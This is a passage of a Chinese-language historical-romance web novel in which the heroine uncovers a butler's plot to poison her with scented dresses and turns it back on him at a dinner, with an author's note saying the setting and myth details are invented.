艾米丽迟疑道:“伊迪斯说是埃莉诺交给她的,这批新礼服裙,都是老夫人约了常用的裁缝定制的,里面有斯宾塞全家的衣服。按理说很难有人动手脚。” 伊莎贝尔蹙眉,点头道:“衣服送到前,没有人知道薇奥莱特会挑哪件裙子给我。如果全都动手脚,误伤的范围不可控。所以,作案的人锁定在庄园内部。” 艾米丽眼睛一亮:“是这样没错。而且,医生说,紫藤香料是熏染上去的,不是随便触碰就能有用。如果按照过程时间推断,只有埃莉诺有作案机会。” 会是埃莉诺吗? 身为老夫人的女仆,她和自己有利益冲突吗?怎么会帮埃德蒙做事? 伊莎贝尔垂眸思索,在湖边缓缓踱步。 夏日湖边有飞鸟经过,湖水清澈如镜。微风拂过青草地,树叶被吹得簌簌作响。 树上,海因里希也因为这番话陷入沉思。 老夫人派埃莉诺分发礼服前,毒还没下。埃莉诺拿到礼服后,还要经过什么流程? 天边飞鸟划过湖面,像是熨烫整齐的布料被利刃割破。 倏然,二人同时灵光乍现! “我明白了。”伊莎贝尔微笑,招手让艾米丽附耳过来,“你帮我做件事……” 树梢分叉的空隙里,看着伊莎贝尔信心十足的模样,海因里希眸光微动,心里哼笑一声。 “好的,我这就去!”艾米丽听完,忙不叠跑远。 伊莎贝尔目送小女仆离开,自己却没立刻走,反而靠着大树坐了下来。 到现在为止,事情差不多盘算清楚了。埃德蒙要在婚礼前杀她,现在她要做的就是掌握证据,不能打草惊蛇。之后再来一记狠狠的反击。 和初到查尔维斯那天一样,她面对着湖泊,远眺那座玛格丽特雕像,湖面倒映她的思索的神情。 头顶,海因里希盯着水面看了一会儿。 突然,一颗小石子投入湖水,溅起涟漪。 伊莎贝尔像那天一样抬眸:“谁?” 语气里的好奇多过惊讶。 “又见面了,未来公爵夫人。”刻意压低的音调,很快让伊莎贝尔想起那个名字。 她轻笑一声,自在地靠着大树,“亨里克?” 男人嗤笑:“还记得我,真是在下的荣幸。” “毕竟我还没收到亨里克先生的威胁信。” 树上,海因里希暗暗挑眉,冷哼:“你麻烦缠身,不去解决问题,怎么有空在这里浪费时间?” “噢,都被你听见了,糟糕。” 伊莎贝尔垂眸,看着湖面倒映出的一截雪白衣角,眼底滑过笑意,面上却叹了口气,“还不是因为重要的一环没有解决,公爵先生不肯帮我。” 海因里希嗤笑:“别对你的丈夫抱有幻想,虽然他英明神武战功赫赫有数不尽的优点,但绝不是个听未婚妻的话、耳根子软的男人。” 伊莎贝尔托着腮,轻笑:“你怎么对公爵这么熟悉,亨里克?” “请不要试图打听我的身份,我很神秘,也很神通广大。”海因里希靠着树干,懒散地揪住一把叶子玩。 其中一片树叶从指间悄然落下,随风飞舞,落在雪白的手掌心里。 树下,伊莎贝尔举起树叶,借着太阳的映射光线,细细观赏叶脉的纹路。 “那么,神通广大的亨里克先生,愿意帮我这个忙吗?” 树上,海因里希顿了顿,挑眉:“帮你写信给病亡的四位未婚妻的家族?” “是的,我想你神出鬼没,应该有避开庄园邮差,把信件秘密送出去的能力。”伊莎贝尔漫不经心道,“对吗?亨里克。” 她又叫出这个名字,尾音懒洋洋,像是带着意味不明的笑。 海因里希冷哼一声:“公爵不帮你,凭什么觉得我会帮你?” “我也只是试试看,你我相逢有缘,如果愿意帮我,那算是朋友。之前的事,咱们两清。” 想起那场唐突的初见,海因里希沉默数秒。 他刚才之所以暗示维克托拒绝她,倒不是说真要袖手旁观。 在能力范围内,动动手指又不难,只是他不想未婚妻女士再产生别的念头。 现在正好,既然顶着“亨里克”的身份,就不用担心未婚妻误会“海因里希”了。 想至此,他哼了一声道:“好,我可以帮你。” “谢了,信件我会派艾米丽给你,明天的同一时间,同一地点,有劳了。” 伊莎贝尔随口说完,就躺在柔软的草地上,轻轻闭上眼。 最后的环节安排完毕,她结束思考。 今天天气很好,空气温暖而不闷热。 清风送来凉爽,大树遮出一片绿荫,挡住刺眼的阳光,真是适合补眠的时候。 伊莎贝尔将树叶盖在眼睛上,感受碧波荡漾和鸟叫蝉鸣。 她终于明白“亨里克”为什么爱来这里了。 华丽的城堡固然有柔软的床垫和奢华的装饰,其中却充斥着防不胜防的阴谋诡计。 即便这种程度的斗争,并没有耗费伊莎贝尔太多心神。 但对方毕竟是冲着自己命来的,大多数时候还是得绷紧一根弦,这就导致自从来了查尔维斯,她没有痛快地睡过一个好觉。 事实上,前后两世加起来,她最爱做的事情就是晒太阳和睡觉。 离开诺曼庄园后,这还是第一次捡起自己的爱好。 听见树下均匀的呼吸,海因里希探出头,只看见树叶遮住她的眼睛,淡蓝色裙摆盛开在绿色草地。 “你对陌生男人没有任何防备心吗?就这么睡着了?”他皱眉。 闭着眼的伊莎贝尔,声音懒洋洋:“这里是查尔维斯,我是公爵夫人,而你,是看过我换衣服也无法以此威胁我的亨里克先生,请问我需要担心什么?” 海因里希翻了白眼,冷声道:“看来我为人太过正直,让你误以为全天下的男人都这样!” 伊莎贝尔笑了一声,“是的,查尔维斯叫亨里克的有很多,这么正直的只有一个。” 海因里希皱眉,没说话。 听这意思,她去打听过这个名字。 静谧悄然流淌,微风卷过树梢,几片树叶被吹落,眼看落点是金发姑娘的脸,一只手刷地攥住叶子,阻拦它们的去向。 树下,伊莎贝尔浑然不知,似乎已经陷入沉眠。 海因里希忍了忍,还是没有打扰这片安静。 忽然,她的声音又响起,“你为什么叫亨里克?” 海因里希一愣,旋即嗤笑:“怎么?我们普通人当然拥有普通的名字,亨里克和汤姆、史密斯、杰克没什么不同。” “你父亲为你取的?” 伊莎贝尔像是随口一问,海因里希却突兀地沉默。 他靠在树边,眺望远方的玛格丽特雕像,淡淡道:“我母亲取的。” 亨里克,和海因里希读音相似,写法也相似。很小的时候,他总是念错自己的名字,母亲就说,以后海因里希的小名就叫亨里克吧。 “像是不错的祝愿。”伊莎贝尔平静道。 海因里希顿了顿,无所谓地冷哼:“也许吧。” 亨里克听起来像普通人家的小孩,会拥有平凡却幸福的生活,也许在取名的那一刻,她的确拥有如此美好的祝愿。 但那不重要了。 海因里希垂眸,视线冰冷地扫过湖面。 等他将被勾起的复杂情绪再次吞下,金发姑娘已经睡着了。 这次是真的睡了,因为他下树走近的动静都没有吵醒她。 海因里希盯着她看了一会儿,眼带审视。 未婚妻小姐无疑是个擅于防备的聪明人,可是此刻,他有些不明白,为什么“全副武装”和“全然放松”的两种状态会矛盾地出现在她身上。 莫名想起维克托的那句话——为什么不试试呢? 海因里希无意识地攥紧手指,高大的背影挡住湖面凉风,卷曲的黑发垂落眼睫,眸光倒映着她的睡颜。 他在湖边坐下,背对着草坪,克制地保持数米距离,脊背却恰好遮住刺眼的阳光,让身后之人得以安睡。 海因里希望着远处发愣。 他有些理不清此刻的情绪。 听见维克托那句话,他起初是烦躁和震惊,在书房里翻了一天补袜子技巧,才终于平静。 得知她并没有猜到自己的身份,本该庆幸才是,却没有料想中的松了口气,反而多了一丝说不清的憋闷。 如果她不知道“亨里克”就是“海因里希”,为什么对“亨里克”如此信任? 如果她知道,又为什么装不知道?难道这段时间的帮助,让她误以为自己喜欢她?和他一样,不想对方越过雷池所以保持距离? 或者真的像维克托所说,她是因为喜欢他才欲擒故纵? 这个荒谬的结论又是怎么得出来的?就凭她知道“亨里克”就是“海因里希”但佯装不知这个举动吗?未免太儿戏! 他又不是没被人喜欢过的愣头青,异性对自己有没有好感难道也看不出来? ! 可是如果她对自己没有好感,那又为什么坦然接受帮助,甚至无比信任……信任得躺在他眼皮子底下睡觉! 话说回来!她信任的究竟是“亨里克”还是“海因里希”? !明明公爵才是她的正牌未婚夫吧!怎么能对一个陌生男人报以同样的信任? ! 等等……不对,两个人都是他! 钻这个牛角尖干什么? ! 还有,他为什么纠结她喜欢哪个身份? ! 莫名其妙! 猜测她毫不知情且对自己没有感情,难道不是应该大松一口气,立刻回去睡觉吗? 现在是在干什么?守着对方睡觉? !简直匪夷所思! 海因里希越想脸色越青,觉得自己的思绪比补袜子的线头还乱!昨天的书真是看对了! 再低头一瞧,手边的草都被薅秃了,露出干瘪的泥土。 “……” 将草堆扔掉,海因里希深吸一口气,缓缓吐出。 如果书上告诉他,亲自补一百双袜子就能恢复正常,那么此刻的公爵先生会立刻答应。 可惜不能…… 他已经分不清,自己是想她知道,还是想她不知道! 说得更明白点,他分不清……是想她喜欢,还是不喜欢…… 湖面泛起涟漪,他肃穆得如同湖心的雕像,又像守护在冥王殿前的地狱犬。 要试试吗? 又想起这句话。 他微抬眸,看向淡蓝色的丝绸裙摆。 那天,她也是穿着如此端庄华美的裙子,在赛马场上大放异彩。 狂风吹乱金发,她手持弯弓,一箭穿云。 视线游移到她的掌心,弓弦勒出的伤口还未痊愈,深红色的血痕贯穿手掌。 ——太有杀伤力的东西,既能捍卫她,也能伤害她。 武器如此,人亦然。 海因里希沉默片刻,凉风吹拂,发热的头脑逐渐冷静,他缓缓收回伸出的手。 药瓶突然从口袋里掉出来,他捡起,从里面倒出最后两粒吞下。 空瓶被投掷进湖中,荡起一圈涟漪,旋即消失不见。连带着整个湖泊恢复古井无波的模样。 海因里希目光也逐渐清明。 神话故事里,地狱三头犬刻耳柏洛斯是守护冥界的灵兽,却也是嗜好杀戮的恶兽,没人知道它的四肢戴着镣铐,在黑暗里自我驯服。 地狱犬迎来了为它解开镣铐的冥王哈迪斯,可后者也被失去神智的恶兽咬伤,但还是凭借强大的神力将其驯服。神话故事总会以理想的状态作为结尾,但现实无法雷同。 他不是刻耳柏洛斯,世上更没有哈迪斯,黑暗里的路,必须踽踽独行。 海因里希站起身,最后看了眼她受伤的手。 树叶遮住眼睛,伊莎贝尔呼吸均匀,并不知道有人在观察自己。 一阵风吹过,脚步缓缓走远- 时间流逝,日头逐渐西沉,在暖意渐散的时刻,伊莎贝尔终于醒了。 举起手,目光一怔。 只见掌心被纱布包扎完好,看手法很专业,细闻有淡淡的药味。 伊莎贝尔沉默片刻。 其实她并不在意这点小伤,要想握住弓箭,总要付出代价。而她有的是力气和手段。 只是,她也不反感来自旁人的细心照料,这会让伤口好得更快。 拍拍身上的草,她起身,对着湖面整理仪容。 短暂的休息结束,养精蓄锐后就要直面战斗。 淡蓝色的裙摆随着优雅的步伐渐行渐远。 身后,残叶被风卷起,是从树梢掉落,又被她捡起的那一片。 彼此不知情时,那枚嫩绿的树叶在二人掌心辗转,最后落在土里,化为春泥。 就像她不知道,自己沉睡的时候,有人的心思千回百转,最终也随风飘远。 —— 作者有话说:嘿嘿,写到这里属性就稍微明朗了。 大型藏獒(未变异版)和驯兽师。 会凶狠werwer叫,也会悄悄用口水帮主人舔好伤口。 并肩作战的同时,会有一人甘心俯首称臣。 这个斗争剧情结束后,两对开始结婚! Ps :希腊神话故事细节是杜撰的,宅斗以及后面的权力斗争也是以我的私设编撰的,各位读者小天使看个乐就行,千万别考究真实历史。咱们主打轻松娱乐文哈~ 第37章 查尔维斯庄园, 仆人区。 晴空万里,院子里晾晒着成排的床单被套,每个架子旁分别有女仆照看,不时进出忙碌着。 室内摆着数排长桌,桌边立着礼服裙架,同样分别有女仆进行熨烫、熏香等工序。 贵族家庭浣洗衣物要经过数道繁琐流程, 有些金贵脆弱的布料需要由专人精细打理。 目前, 全家最为重视的就是未来公爵夫人的婚礼服饰。 这两天,埃莉诺奉老夫人的命令,再次送来十套新礼服裙以及薄纱配饰, 交给管事珊迪统筹。 珊迪正在指导新来的女仆熨烫手法, 门突然被敲响。 “珊迪, 跟我出来一下。” 管家安德鲁扫视众人,冲珊迪抬了抬下巴,小胡子高傲地翘起。 珊迪没有将熨斗交给小女仆,而是妥善收好,才跟着安德鲁出去。 门被关上,珊迪见四下无人,才颔首道:“安德鲁先生,这里人多眼杂,您怎么亲自来了?” 安德鲁冷哼, 不耐地翻了个白眼:“不该你问的别问!五天后就是婚礼,你必须确保新娘无法出席, 否则,我们都要遭殃!明白吗?” 珊迪吓得一哆嗦,“明……明白。” 见她瑟缩,安德鲁反倒笑了起来,豌豆大的眼睛里闪烁着暧昧。 他凑近一步,试图摸珊迪的下巴,却被她躲开,于是脸色立刻变了,“哼!装什么装!臭婊子!如果不是我帮你还清债务,你能摆脱你的酒鬼丈夫吗?!” 珊迪颤抖着肩膀:“是……安德鲁先生,我会记住您的恩情,一切都会按计划进行。” 安德鲁还想上前,身后突然传来脚步声。 “珊迪,诺曼小姐的衣服整理好了吗?” 伊迪斯从楼梯上下来,看见迅速分开的珊迪和安德鲁,后者对着壁橱研究得津津有味,而珊迪则迎上前笑道:“已经好了,请随我来。” 她将新礼服和上次送来清洗的衣服一并交给伊迪斯,刚接触到衣服,伊迪斯立刻打了几个喷嚏:“噢,亲爱的,最近用的熏香是什么?我记得主人们会有自己挑选的香料,这个显然与以往不同。” 一旁的安德鲁脸色暗了暗,竖起耳朵。 “是埃莉诺奉老夫人的命令为诺曼小姐挑选的。”珊迪微笑回答。 “好吧,感谢你的劳碌。”伊迪斯果然没起疑,拿好衣服又看向安德鲁:“安德鲁先生,您在这里做什么?也在等衣服吗?” 安德鲁干咳两声,视线终于从壁橱里钻出来,抬着下巴道:“是的,珊迪,我上次送来的礼服洗好了吗?” “好了,先生。”珊迪从另一边的仆人区域拿出燕尾服,递给安德鲁,二人眼神交接,这是他们用来掩人耳目的借口,方便传递消息。 安德鲁下意识闻了闻,没有浓郁的香味,这才安心收下。 “我先走了。”他踩着十厘米的厚底鞋调头,扫了眼伊迪斯,皮笑肉不笑:“哦对了,容我提醒你,伊迪斯,记住自己的身份,主人家的衣服熏什么香料与你无关,这是老夫人对诺曼小姐的美意。” 伊迪斯和珊迪同时颔首,目送安德鲁离开。 等人走后,珊迪才对伊迪斯安抚笑道:“你知道的,安德鲁管家总是这样,别在意。” “我当然不在意。”伊迪斯耸耸肩,捧着衣服告辞,临上楼梯又看向珊迪,眼带深意,“珊迪,希望你也别在意。” 说罢,伊迪斯走远,等到上了楼就看见拐角等候已久的艾米丽。 艾米丽赶紧捏住鼻子,一边把伊迪斯的嘴也捂住:“我不是告诉你,谨慎起见要屏住呼吸吗!” 伊迪斯掰开她的手,挑眉:“如果那样的话,就会在安德鲁先生面前露馅。放心吧,一切都按照诺曼小姐的吩咐进行着。” “等等,什么吩咐?我才是小姐的贴身女仆,为什么我不知道?那天小姐单独告诉你什么?” 艾米丽还想问,就看见伊迪斯神态自若,接过衣服往前走。 “喂!说话啊!伊迪斯!”艾米丽追上去,气鼓鼓。 伊迪斯竖起食指:“嘘,保持安静。” 艾米丽:“?!” “不要大呼小叫,影响了诺曼小姐的计划。” 艾米丽不可置信地睁大眼睛,看着伊迪斯取代自己的位置,堂而皇之地将衣服送进房间。 有没有搞错?小姐上次吩咐她把伊迪斯叫来房间密谈,就是为了取代自己吗? ! 可恶!想不到伊迪斯看起来浓眉大眼,原来也是个热衷钻营的家伙! 艾米丽气得脸颊通红,心中顿时生出危机感。 不行!她才是小姐身边的第一女仆!- 房间里,伊迪斯放下衣服,冲伊莎贝尔颔首:“诺曼小姐,计划成功了。” 窗边,伊莎贝尔放下书本,微笑道:“辛苦了,伊迪斯,我果然没有看错你,你很能干,也很有上进心。” 伊迪斯仍然谦逊低头:“千里马也需要伯乐,我虽无法比肩千里马,但如果能在某些方面帮到您,也算对您有用。因此,还是要感谢小姐愿意给我机会。” “不用谦逊,是查尔维斯埋没了你。恰好,我很需要一位得力的属下。”伊莎贝尔伸出手。 伊迪斯微怔。 她只是查尔维斯庄园一个不起眼的低等女仆,不出意外,会在这里度过余生。 如果运气好,能被管家赏识,还能升为二等女仆。不过,再想往上成为主人们的贴身女仆可就难了。 伊迪斯不是汉克郡的人,在这里也没有亲戚朋友,是个除了拥有头脑与相貌外一穷二白的孤女。当初她凭借着这份优势成功应聘,但也因为没有背景而晋升艰难。 在此之前,她纵然有向上攀爬的野心,却也没有人愿意给予机会。 艾米丽说诺曼小姐想与她密谈那天,伊迪斯以为自己听错了。 众所周知,女主人们进入查尔维斯总是更加信赖自己人,这无可厚非。 诺曼小姐家底薄,只带了艾米丽一位女仆,像路易莎当初可是带了整套班底,别说近身侍候,连在外面端茶倒水都轮不到她们这些公爵府派去的人。 伊迪斯很明白这一点,所以即便被分派到诺曼小姐身边,她也从不会轻易示好。只会凭借日常做事的点滴,透露出“投诚”的意思。 本以为诺曼小姐无视了这份信号,没想到会突然对她抛出橄榄枝。 此刻,伊迪斯看着那只伸出的手。 这是上位者对下属的示好,而下位者需要以虔诚的方式回敬。 她下意识上前吻她的指尖,却见手指偏移了几分。 抬头,对上伊莎贝尔含笑的眼睛。 “不,请伸出你的手。” 伊迪斯愣住,茫然地伸出手。 双手交握,温热从彼此指尖传递。 “合作愉快,伊迪斯女士。”伊莎贝尔微笑道。 伊迪斯慢了半拍,很快颔首:“合作愉快。” 原来这是合作吗?她以为应该读作效忠。 “没什么事,你就去忙吧。”伊莎贝尔放下手,再次看向书本。 伊迪斯眸光微动,“艾米丽也许会对我取代她的位置感到不满。” 伊莎贝尔轻笑一声,抬眸看她:“没有谁会取代谁的说法,你们是我的左膀右臂,都有不可替代的作用。” 伊迪斯沉默片刻,微笑:“是,我明白了。” 她转身离开,在即将退出房间的前一秒,听见身后传来平静的声音。 “伊迪斯,头脑聪明、富有野心是你的优点。我不知道你在查尔维斯学习的生存法则是什么样的,但在我这里,枪口绝不能对准自己人。”顿了顿,她轻笑,“否则,登得有多高,我就会让她跌得有多重。” 话音落下的瞬间,伊迪斯浑身一抖,寒意从脊背升起。 那双冰蓝色的眼睛将她内心的阴暗看得一清二楚。 人性的弱点向来如此。 前一秒,主人的和善令伊迪斯感动,后一秒,难免生出妄想。她自恃头脑和情商要甩艾米丽八百条街,假以时日,自己一定能取代那个愚蠢的女孩。 而此刻,伊莎贝尔的话犹如一桶凉水从头浇下,让伊迪斯清醒地明白,自己虽然被尊称为“合作伙伴”,但那建立在听话的基础上。 脖子上的绳索仍然由主人控制,生杀大权由她掌控。 当然,伊迪斯有权利退出这场“合作”,可是,失去这次机会,再想借到东风乘势而起,就不知道是何年何月! 短暂数秒,诸多念头滑过脑海。 伊迪斯深吸一口气,擦掉额角冷汗。 软弱无能固然好拿捏,但只有冷酷残忍才是夺得胜利的人应有的品质。也只有这样的主人,才值得俯首。 “是,您的教诲,谨记于心。”伊迪斯朝着窗台方向,深深鞠躬。 这一次,她的语气里不再有自己的盘算。 看着伊迪斯走出去,伊莎贝尔收回目光。 很快,艾米丽气鼓鼓跑了进来,刚想说话,又不敢嚷嚷,欲言又止,憋得脸色青红。 最后只能凑近,蹲在伊莎贝尔面前,蚊子似的喃喃:“小姐,你是不是不想要我了?是我哪里做的不好吗?” 伊莎贝尔侧眸,对上艾米丽澄澈的眼睛:“为什么这么问?” 艾米丽委屈垂头:“我知道,我不如伊迪斯聪明,考虑得不够多,人也不谨慎。就像这次下毒,我接触衣服那么久都没有发现异样,如果不是您细心,恐怕……” 她越说越沮丧,一开始的委屈都消失了,最后连自己都觉得,主人抛起她选择伊迪斯是对的。 艾米丽在诺曼庄园长大,跟在奥黛丽身边。和诺曼小小姐一样,她无比崇拜且尊敬诺曼大小姐。 事实上,被大小姐选中,成为贴身女仆来到斯宾塞公爵府,艾米丽一度觉得自豪无比! 要知道伊莎贝尔小姐原本的贴身女仆露西,那可是个让米歇尔太太都赞不绝口的优秀典范!现在她代替了露西,岂不是证明她艾米丽和露西一样优秀!可是直到经历了数次危险,艾米丽不得不承认,自己是拖后腿的那一个。 “可是……可是……”艾米丽眼眶红了,想了半天,只想出一个优点,“我永远忠于您。” 说完,羞愧地捂住脸。 忠心是每一个下属应该具备的基本素质,算什么拎出来说的优点…… 可是,她却听见伊莎贝尔笑了:“是的,这就是你无可替代的闪光处,艾米丽。” 艾米丽愣住,脸色涨红,结巴道:“您……您不用安慰我,我刚刚就是一时情急,现在已经想明白了。如果因为我的失职,让您身处险境,那我会愧疚终生。没有什么比您的安全更重要,哪怕让伊迪斯替代我。我……我很情愿的。” “我没有安慰你,你所拥有的、是伊迪斯没有的——无条件的忠诚。”伊莎贝尔挑眉,拍了拍她的头,“你甚至愿意以我为先,不惜让步自己利益。这可不是随处可见的廉价东西。” 艾米丽愣住,想了想,腼腆低头:“每个仆人进入诺曼庄园那一天都会发誓效忠。” “但真正践行的人很少,米歇尔是一个,露西是一个,你也是一个。” “也许我也会口是心非呢?”艾米丽下意识问,“呃,我是说,当初杰西卡也曾发过誓,我不觉得她是假的,您是怎么看出来的?” 伊莎贝尔挑眉,摇头道:“如果你拥有撒谎而不被我看出的本事,那你就不是艾米丽,而要改名为露西。我也不需要多一个伊迪斯当助手。” 艾米丽羞赧一笑,挠了挠头:“我明白了,小姐。也就是说,您还是需要我的!” 伊莎贝尔笑了,“当然,你虽然没有缜密的算计,但也称不上拖我后腿,相反,你对我帮助良多。” “查尔维斯形势多变,我需要更多的助力。现在你和伊迪斯都是我的伙伴,有属于各自的位置,我希望你们通力合作,发挥自己的长处,不必妄自菲薄。” 艾米丽重新振奋精神,“谨遵您的叮嘱!” 送走艾米丽,伊莎贝尔摇头轻笑。 真是一头羊一个栓法。 有的需要恩威并施,有的只需要给颗糖夸夸哄哄。 如无必要,伊莎贝尔不想和心思很多的人打交道,称不上讨厌或警惕,只是单纯的一种倾向。就像爱吃甜食的人下意识会忽略咸口的东西,先选择甜的。 艾米丽有一点说得对,这次的下毒事件提醒了伊莎贝尔,她独木难支,总会有百密一疏的时候。身边必须要有一个更为谨慎的助手,那么经常在面前表现的伊迪斯就是最佳人选。 有点小野心不是大问题,合适的人放在合适的地方,就能发挥意想不到的作用。 另一边,伊迪斯正在发挥着她的作用。 - 仆人区,伊迪斯再次回到浣衣室。 珊迪见到她,不动声色地跟了出去。 “这是诺曼小姐给你的报酬。” 伊迪斯快速递过一个钱袋。 珊迪犹豫片刻,“我不要钱,我要的是……” 伊迪斯眼底滑过冷笑,打断道:“放心吧,他死了。” 珊迪愣住:“什么?” 作为在查尔维斯服务多年的女仆,伊迪斯和珊迪算是老交情。 关于珊迪的悲惨遭遇,她一清二楚。 比起艾米丽,伊迪斯更加了解庄园的人际关系,具备主场优势。在收到诺曼小姐的指示后,她很快排查出了浣衣环节可能存在的问题,矛头指向目标人物——珊迪。 知道对方的软肋,接下来的事情就再容易不过了。 “酒鬼嘛,失足掉落水中淹死很正常。”伊迪斯轻描淡写,“你应该明白,他是安德鲁用来要挟你的把柄。现在你的掣肘没了,这份报酬你还满意吗?” 珊迪从震惊中回神,忽然鞠躬:“多谢你,也谢谢诺曼小姐。” 伊迪斯扔下钱袋:“收下吧,自由了更应该过上好日子。” 珊迪捡起钱袋,眼带感激:“谢谢你,伊迪斯。请放心,他不会起疑。” “是吗?那就……拭目以待吧。”伊迪斯轻笑,扬长而去- 晚宴时分,安德鲁照例换上燕尾服。 出于谨慎,他仔细闻了一遍衣物,确认没有任何香味才穿上。 手里办了那么多脏事,安德鲁养成非必要不熏香的习惯。 他比谁都明白,这种不起眼的小玩意儿,威力有多大。 对着镜子整理好领带,又从抽屉里拿出新的丝巾系好,安德鲁才蹬着厚底皮鞋走出房间,开始今日的侍奉。 走出回廊,有人已经等候在不远处。 安德鲁上前恭敬颔首:“埃德蒙少爷。” “安德鲁,但愿这次你能给我满意的结果。”暗处,埃德蒙递过一张支票,“如果成功,之前你没有拿回聘礼的事情,一笔勾销。” “先生,请放心。狡诈的女人不会一直幸运,聘礼的事情是个意外,而这次,没有意外。” 安德鲁颔首,看清支票上的数字,他笑容越发谄媚,恭敬目送埃德蒙离开。 作为埃德蒙母亲那边的家族引荐而来的管家,这些年来,安德鲁没少敛财,尤其帮助埃德蒙做了许多见不得光的脏事后,报酬越发丰厚,足以让后半辈子衣食无忧。 也正是因为深度的利益捆绑,安德鲁与埃德蒙属于一条绳上的蚂蚱,轻易不会背叛。 那个来自洛森郡的男爵小姐不知天高地厚,早在没保住聘礼那天,安德鲁就想给她点颜色瞧瞧,可惜那些小刁难都被她一一化解。 现在有埃德蒙撑腰,安德鲁怎么会放过这种机会! 以前的几位未婚妻小姐,没有哪个会像她这样嚣张! 愚蠢的羔羊还不知道危险的降临,等发觉的时候,已经晚了。 这一幕,也许就在今天。 安德鲁阴险一笑,妥善收好支票,走向餐厅。 主人们陆续换好晚礼服下楼,餐桌边已经有几位女士坐下。 伊莎贝尔身穿新做的宝蓝色晚礼服,脖子上戴着同色系珠宝项链,光彩照人。 薇奥莱特难得多看了两眼,皮笑肉不笑:“幸好你没有一意孤行,在穿着上多听听老人的意见总是没错的,要知道,我年轻的时候也是墨伦维克的时尚标杆,她们总爱打听薇奥莱特穿搭,再决定自己穿什么。” “您的品味毋庸置疑。”伊莎贝尔微笑。 身旁的路易莎没说话,见男士们还未入座,她突然压低声音道:“别沾沾自喜了,奥黛丽。忘了上次是怎么中我的招吗?” 伊莎贝尔挑眉,不动声色地扫了眼正在给老夫人斟酒的安德鲁。 “那你忘了我是如何还击的吗?中招的似乎不是我。” 路易莎脸色微变,面带狐疑。 伊莎贝尔没有回答的意思,只是笑看着安德鲁向自己走来。 “诺曼小姐,来自赫斯兰拉塔西庄园,由红酒大师伯纳克酿造的珍品,想必您乐意品尝。”安德鲁笑容和蔼,一手端着红酒瓶,一手背在身后,姿势严谨得像个老派绅士,任谁也挑不出错,更令人无法想象他私下的真实嘴脸。 伊莎贝尔莞尔:“我没理由拒绝,有劳了,安德鲁。” “我的荣幸。” 酒红色液体灌入透明高脚杯,安德鲁隐秘抬眸。 伊莎贝尔浑然不觉,还在笑着和路易莎说话。 安德鲁心里的笑容也越发狰狞。 笑吧,尽情地愉快吧。 持续数日的紫藤香料已经毒入肺腑,药石罔医。不出意外,今天或明天,这张脸就再也笑不出来,查尔维斯即将迎来第五位暴毙的未婚妻。 随着液体渐渐升高,安德鲁笑容扩大。 突然,他眉头一皱,晃了晃脑袋。 怎么回事? 视线突然模糊,酒红色的液体在杯中晃荡,他的脑海开始眩晕,耳鸣突然炸响—— “你怎么了?安德鲁先生?” 伊莎贝尔关切起身。 路易莎慢半拍,视线在二人之间游移。 薇奥莱特皱眉:“安德鲁?埃莉诺,去看看他。” 周围的呼唤如潮水灌入耳朵,安德鲁什么也听不见! 快要失去意识的前一秒,他还想抽出胸前的方巾擦拭冷汗,以确保不会当众失去绅士仪态,可刚伸出手,剧烈的疼痛从胸腔袭来! “噗!” 倏然,血红色液体飞溅,和翻倒的酒杯一起映在洁白的餐桌上,刺目无比! 安德鲁吐血不止,整个人软倒在地。 前后步入餐厅的海因里希和埃德蒙,正好目睹这一幕! 一时间,场中乱成一团! “噢!上帝啊!这是怎么了?!” “安德鲁?!” “快!叫医生!” …… 纷纷杂杂的声音和脚步混在一起,天旋地转间,安德鲁看见伊莎贝尔惊慌的脸,和她眼底隐秘的微笑。 他瞪大眼睛,发出“嗬嗬”声,不断涌出的鲜血堵住了话语。 中毒了!他中毒了! 这是撑不过三天就会暴毙的剧毒! 怎么会呢?他一直很谨慎!衣服从不许别人熏香,拿回来后会细细检查!怎么可能接触这种紫藤香! 难道是…… 意识迷离间,他看见胸前洁白的方巾! 恍然大悟! 是珊迪……他的衣服绝不会有熏香,只有方巾疏忽了! 他从不会乱用方巾,除非出自合作多年的珊迪之手! 珊迪被那个女人收买了? !怎么可能? !她的把柄攥在自己手里! 无数纷杂的念头涌入脑海,最后的清明告诉自己,不行!他不能就这么死了! 安德鲁浑身发着抖,死死盯着冷眼看向自己的埃德蒙。 救救我!救救我! 紫藤香料只有埃德蒙有解药! 埃德蒙手指无意识攥紧,他很快明白,上次的情景再次重现,信誓旦旦万无一失的人又一次自食恶果! 不知道是谁突然喊:“安德鲁先生的症状,和那几位女士……一模一样!” 未说完的话,众人转瞬就明白意思。 “难道是……”有人惊呼,下意识捂住嘴,不敢说出后面的话。 是诅咒! 那个萦绕在查尔维斯,挥之不去的诅咒! 咳血后伤寒暴毙,公爵的前四个未婚妻都死于同一种症状!连全锡兰最好的医生也无能为力!她们私底下将这种恐怖的事迹称为斯宾塞的诅咒! 出身战场的海因里希也曾有过被魔鬼附体的传闻,连圣曜真主也无能为力,甚至派来的牧师都惨遭厄运! 本以为诺曼小姐的平安到来,代表诅咒的消失!没有想到突然降临在管家安德鲁先生身上! 未知力量带来的恐怖,瞬间席卷众人的内心,没有人敢上前搀扶安德鲁。 连埃莉诺也停下了去请医生的步伐,只等待老夫人的指令! 婚期将至,安德鲁的性命事小,如果再次传出诅咒恶名,又会让斯宾塞家蒙上洗不掉的阴影! 鲜血蜿蜒,室内经过开始的嘈杂,突兀地陷入寂静。 “去叫医生,兴许安德鲁先生只是突发疾病。”伊莎贝尔开口打破沉默。 “不行,医生一旦过来,斯宾塞的诅咒谣言又会甚嚣尘上!”埃德蒙忽然喝止,“来人,把安德鲁抬到房间去!” 安德鲁徒劳地发出挣扎的呜咽,眼珠凸出,死死看着埃德蒙,伸出的手像要索命的厉鬼。 他知道,自己是被放弃的废棋!现在主人要弃车保帅! 一旦盖棺定论是诅咒,没人会救他! “慢着。” 海因里希缓缓走到伊莎贝尔身边,拍开埃德蒙的手。 “事关我的谣言,关你什么事?” 埃德蒙:“海因!别不识好歹!这事关斯宾塞全家的名声!” “那请你搞清楚,我才是斯宾塞公爵,全家的名声,还轮不到你操心。”海因里希走近,目光冷漠地盯着埃德蒙。 埃德蒙冷笑:“那不如问问奶奶的意思?” 薇奥莱特沉吟不语,周围的仆人大气不敢喘。 伊莎贝尔忽然走近,压低声音道:“老夫人,众目睽睽之下,如果我们见死不救,恐怕谣言才真的无法抑制。叫了医生过来,才有进一步消弭流言的可能,您说呢?” 薇奥莱特紧皱眉头,深吸一口气:“埃莉诺,去叫医生。” “是!”埃莉诺慢半拍,立刻跑出门。 安德鲁已经昏死,满地的血液仿如凶案现场,所有人避开三尺不敢靠近。 很快,医生到来。 伊莎贝尔和海因里希与埃德蒙相对而立,彼此目光对峙。 